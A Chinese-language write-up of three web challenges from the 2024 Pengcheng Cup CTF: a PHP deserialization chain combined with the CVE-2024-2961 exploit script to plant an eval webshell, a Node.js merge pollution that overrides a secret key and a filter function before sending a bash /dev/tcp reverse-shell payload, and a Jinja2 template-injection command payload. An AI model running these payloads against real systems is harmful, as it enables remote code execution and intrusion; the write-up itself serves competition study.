pcb24

复现后感觉都不是很难,比赛时还是要多看看
还得练,不过最近高强度打比赛来说成长很快,也是差不多找到做题的感觉了,不过在做题中还是有点急,明明静下来更快的(
自知愚钝,日月兼程

Ref

  1. 2024鹏城杯线上赛Web方向题解,这个大跌ak了?

fileread: php, cve

  1. 源码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php
    class cls1{
    var $cls;
    var $arr;
    function show(){
    show_source(__FILE__);
    }
    function __wakeup(){
    foreach($this->arr as $k => $v)
    echo $this->cls->$v;
    }
    }
    class cls2{
    var $filename = 'hello.php';
    var $txt = '';
    function __get($key){
    var_dump($key);
    if($key == 'fileput')
    return $this->fileput();
    else
    return '<p>'.htmlspecialchars($key).'</p>';
    }
    function fileput(){
    echo 'Your file:'.file_get_contents($this->filename);
    }
    }

    if(!empty($_GET)){
    $cls = base64_decode($_GET['ser']);
    $instance = unserialize($cls);
    }else{
    $a = new cls1();
    $a->show();
    }
    ?>
  2. 构造一下pop链拿到file_get_contents()

    1
    2
    3
    4
    5
    6
    7
    8
    $a = new cls1();
    $a-> arr = array("fileput");
    $b = new cls2();

    $a-> cls = $b;
    $res = serialize($a);
    echo $res;
    echo base64-encode($res)
  3. 这里是在大哥b1nb1n的查阅下知道要用一个cve的,其实我也有一个想法 –> 当操作受限时需要到rce时就需要找切入点了,从最显目的出发,有一个是一个就好,查一查又没有关系!!!: php file_get_contents rce就可以搜索得到这个漏洞

    1. CVE-2024-2961,有配套脚本,适用于file_get_contents(),需要改一改,这底层不像是web的bro,更像是pwn的,原理有点高深
      1. 利用思路:利用脚本执行了三个请求:首先下载/proc/self/maps文件,并从中提取PHP堆的地址和libc库的文件名。接着下载libc二进制文件来提取system()函数的地址。最后执行一次最终请求来触发溢出并执行预设的任意命令
      2. 原作者底层原理
      3. 官方脚本地址 –> 改的在CtfSpt History里,总结就是慢慢看
      4. 另一个人的脚本
      5. 别人的总结,看慢点bro,建议和官方脚本一起使用
    2. 补充:据原作者描述该漏洞影响PHP 7.0.0 (2015) 到 8.3.7 (2024)近十年php版本的任何php应用程序(Wordpress、Laravel 等)。PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数)
  4. 触发python3 cnext-exploit.py http://192.168.18.24/ "echo '<?php eval(\$_POST[\"aaa\"])?>' > kc1zs4.php"

  5. 然后是通过ls -al /查suid /readflag

notadmin(复现): node merge

比较可惜,差一点点就出来了,不会很难的一道题

  1. 附件中有源码

    1. 一眼原型链污染?有hasOwnProperty()无法访问到原型,直接赋值了,不符合利用条件
    2. crypto随机数非伪随机数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    const express = require("express");
    const bodyParser = require("body-parser");
    const jwt = require("jsonwebtoken");
    let { User } = require("./user");
    const crypto = require("crypto");
    const path = require("path");

    const app = express();
    const port = 3000;

    app.set("view engine", "ejs");
    app.set("views", path.join(__dirname, "views"));

    app.use(express.static("public"));
    app.use(bodyParser.urlencoded({ extended: true }));
    app.use(express.json());

    const tmp_user = {};

    function authenticateToken(req, res, next) {
    const authHeader = req.headers["authorization"];
    const token = authHeader;
    if (tmp_user.secretKey == undefined) {
    tmp_user.secretKey = crypto.randomBytes(16).toString("hex");
    }
    if (!token) {
    return res.redirect("/login");
    }
    try {
    const decoded = jwt.verify(token, tmp_user.secretKey);
    req.user = decoded;
    next();
    } catch (ex) {
    return res.status(400).send("Invalid token.");
    }
    }

    const merge = (a, b) => {
    for (var c in b) {
    console.log(JSON.stringify(b[c]));
    if (check(b[c])) {
    if (
    a.hasOwnProperty(c) &&
    b.hasOwnProperty(c) &&
    typeof a[c] === "object" &&
    typeof b[c] === "object"
    ) {
    merge(a[c], b[c]);
    } else {
    a[c] = b[c];
    }
    } else {
    return 0;
    }
    }
    return a;
    };

    console.log(tmp_user.secretKey);

    var check = function (str) {
    let input =
    /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/gi;

    if (typeof str === "object" && str !== null) {
    for (let key in str) {
    if (!check(key)) {
    return false;
    }
    if (!check(str[key])) {
    return false;
    }
    }
    return true;
    } else {
    return !input.test(str);
    }
    };

    app.get("/login", (req, res) => {
    res.render("login");
    });

    app.post("/login", (req, res) => {
    if (merge(tmp_user, req.body)) {
    // 直接污染secretKey就有了,但是下面要verifyLogin,而且merege中进行了过滤
    if (tmp_user.secretKey == undefined) {
    tmp_user.secretKey = crypto.randomBytes(16).toString("hex");
    }
    if (User.verifyLogin(tmp_user.password)) {
    const token = jwt.sign(
    { username: tmp_user.username },
    tmp_user.secretKey
    );
    res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
    } else {
    res.send("Login failed!");
    }
    } else {
    res.send("Hacker denied!");
    }
    });

    app.get("/", (req, res) => {
    authenticateToken(req, res, () => {
    backcode = eval(tmp_user.code);
    res.send("something happend~");
    });
    });

    app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
    });
  2. 目的是要到eval那里,需要已经登录

  3. jwt验证,jwt的关键在于密钥这个思想,要知道用户名但是通过逻辑可以知道各种属性都是存储在内存中且sercretKey不会强制赋值,所以可以通过merge污染一下

  4. 思路: 先login post后再/,执行命令

    1. 先/login污染一下secretKey,设置一下code看看可不可以执行成功?测一个没污染secretKey和有污染secretKey的,结论是可以绕过
    2. 能不能判断code有无执行->逻辑上secretKey可以code也可以,可以通过报错?执行一个有错误的code会回到Invailed Token?因为异常上传了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    # !!!成功绕过

    import requests

    host = "http://192.168.18.21"

    # 1. S1:访问/login设置tmp_user,第一步发一次就好

    postdata = {
    "username": "hello",
    "password": "nothing",
    "secretKey": "1", # 默认使用HS256
    "code": "console.log(1)"
    # 最后一步需要进行绕过bro,node命令执行绕过了,pp2rce几乎不可以
    }

    r = requests.post(host + "/login", data=postdata)
    print(r.text)

    # 2. S2: 直接get/来进行命令执行

    getheader = {
    "authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IktDMXpzNCJ9.xXc8Q7Vx6lBHHJL7vNKbRcnfmpqfObThUS7dgXKT544"
    # token,详见jwt.io
    }
    r = requests.get(host,headers=getheader)
    print(r.text)
  5. 呜呜死在这里的绕过上了,不过也学到了node的绕过,强网Pyblockly中通过函数覆盖来逃脱检查,这里也一样,想过覆盖inpui没想到覆盖check,失误了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # 先发包这个
    {
    "username":"kc1zs4",
    "password":"123456",
    "secretKey": "1",
    "code":"check=(str)=>true"
    }

    # 再发payload即可,这里命名空间是在该文件中,eval执行的
    # 经典反弹shell
    {
    "username":"kc1zs4",
    "password":"123456",
    "secretKey": "1",
    "code":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
    }

Python口算(复现): python ssti

是不是小猿口算?

  1. 开局一个页面,肯定有信息传输,后台刷新这样,截获然后发出,只有脚本有这种速度

  2. 其实就是写一个根据字符串计算结果的python脚本,开整(差不多这个意思就对了)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    import requests

    url = "https://xxx"

    r = requests.get(url)
    # 假设直接返回表达式123+531*3=?
    if r.status_code == 200:
    res = eval(r.text[0:-2])

    postData = {
    "answer": res
    }

    r = requests.post(url, data=postData)
    if r.status_code == 200:
    print(r.text)
  3. 可以拿到hint,/static/f4dd790b-bc4e-48de-b717-903d433c597f,考虑render_template的模板注入执行,但是需要绕过,我也不知道黑白名单是啥啊bro(本来昨天应该看这道的,比绕过notadmin好多了)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    @app.route('/')
    def index(solved=0):
    global current_expr

    # 前端计算...
    # 通过计算...

    username = 'ctfer!'
    if request.args.get('username'):
    username = request.args.get('username')
    if whitelist_filter(username,whitelist_patterns):
    if blacklist_filter(username):
    return render_template_string("filtered")
    else:
    print("你过关!")
    else:
    return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")
  4. username payload:

    1. 先fuzz一下吧,可以通过脚本fuzz来着,或者直接打payload,过了就过了,覆写黑白名单也不是不行,但是这里没法试一试也没有具体信息
    1
    2
    3
    cmd='cat /flag'
    cmd=cmd.encode('utf-8').hex()
    payload=f'''{{{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen(bytes.fromhex('{cmd}').decode()).read()")}}}}'''

一些Tricks

  1. 对于重复定义函数绕过黑白名单的情况
    1. 要注意函数的定义前后解析情况,路由外部定义的全局还是路由函数内部定义的,如果是路由内定义估计无法覆盖

总结

  1. 最重要的一句话:你别急,状态是最重要的,多思考
  2. fileread
    1. 脚本慢慢看,查阅资料还是树状比较好,不会先思考再查
    2. 每一个切入点都很重要,需要rce,又file_get_contents就可以查php file_get_contents rce
  3. notadmin
    1. 目的导向式的寻找切入点,从sink出发
    2. 本地测测打不打得通!逻辑判断比如code污染的类推,开发有测试驱动,安全则是poc和res驱动,能快还是快,不能快还是要poc,晕也要poc
    3. 思路可以跳脱一点,像黑名单这种可以看看能不能暴力覆盖或者直接跳过,要绕很久一般,覆盖只要一会,想一想
      1. 覆盖函数用到的思想是函数也是对象,通过后赋值指向别的地址来实现
  4. python口算
    1. 找入口点:特征/现象->可能原理/唯一入口